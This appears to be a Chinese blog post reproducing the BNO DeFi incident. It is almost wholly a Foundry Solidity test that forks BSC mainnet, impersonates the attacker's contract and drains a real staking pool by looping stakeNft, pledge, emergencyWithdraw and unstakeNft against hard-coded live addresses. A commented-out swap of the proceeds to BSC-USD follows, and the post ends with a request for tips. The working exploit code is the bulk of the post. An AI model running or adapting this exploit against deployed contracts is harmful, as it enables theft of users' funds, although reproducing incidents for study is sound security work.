BNO事件代码复现
// SPDX-License-Identifier: UNLICENSED
pragma solidity ^0.8.10;
import "forge-std/Test.sol";
import "./interface.sol";
interface IPool {
function stakeNft(uint[] memory tokenIds) payable external;
function emergencyWithdraw() external;
function pledge(uint256 _stakeAmount) payable external;
function unstakeNft(uint[] memory tokenIds) payable external;
}
contract BNOTest is Test {
IERC20 constant BNO = IERC20(0xa4dBc813F7E1bf5827859e278594B1E0Ec1F710F);
IERC721 constant NFT = IERC721(0x8EE0C2709a34E9FDa43f2bD5179FA4c112bEd89A);
address private constant BNO_attacker_contract = 0xD138b9a58D3e5f4be1CD5eC90B66310e241C13CD;
IPool pool = IPool(0xdCA503449899d5649D32175a255A8835A03E4006);
IPancakeRouter pancake = IPancakeRouter(payable(0x10ED43C718714eb63d5aA57B78B54704E256024E));
address private constant bscusd = 0x55d398326f99059fF775485246999027B3197955;
CheatCodes cheats = CheatCodes(0x7109709ECfa91a80626fF3989D68f67F5b1DD12D);
function setUp() public {
cheats.createSelectFork("bsc", 30056661);
cheats.label(address(BNO),"BNO");
cheats.label(address(NFT),"NFT");
}
function onERC721Received(
address,
address,
uint256,
bytes memory
) external returns (bytes4) {
return this.onERC721Received.selector;
}
function testExploit() public {
//将13、14 NFT转给本合约
cheats.startPrank(BNO_attacker_contract);
NFT.transferFrom(BNO_attacker_contract,address(this),13);
NFT.transferFrom(BNO_attacker_contract,address(this),14);
BNO.transfer(address(this),BNO.balanceOf(BNO_attacker_contract));
cheats.stopPrank();
//赋予本合约地址1 ether
deal(address(this),10 ether);
emit log_named_decimal_uint("Before attack BNO balance",BNO.balanceOf(address(this)),BNO.decimals());
emit log_named_decimal_uint("Before attack ether balance",address(this).balance,18);
console.log("NFT belong ",NFT.ownerOf(13));
console.log("NFT belong ",NFT.ownerOf(14));
uint256[] memory nfts = new uint256[](2);
nfts[0] = 13;
nfts[1] = 14;
for (uint256 i=0;i<10;i++){
NFT.approve(address(pool),13);
NFT.approve(address(pool),14);
pool.stakeNft{value:0.008 ether}(nfts);
BNO.approve(address(pool),BNO.balanceOf(address(this)));
pool.pledge{value:0.008 ether}(BNO.balanceOf(address(this)));
pool.emergencyWithdraw();
pool.unstakeNft{value:0.008 ether}(nfts);
}
emit log_named_decimal_uint("After attack BNO balance",BNO.balanceOf(address(this)),BNO.decimals());
address[] memory path = new address[](2);
path[0] = address(BNO);
path[1] = bscusd;
//BNO.approve(address(pool),BNO.balanceOf(address(this)));
//pancake.swapExactTokensForTokensSupportingFeeOnTransferTokens(BNO.balanceOf(address(this))*40/100,0,path,address(this),1689641833);
//emit log_named_decimal_uint("After attack ether balance",address(this).balance,18);
}
}
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!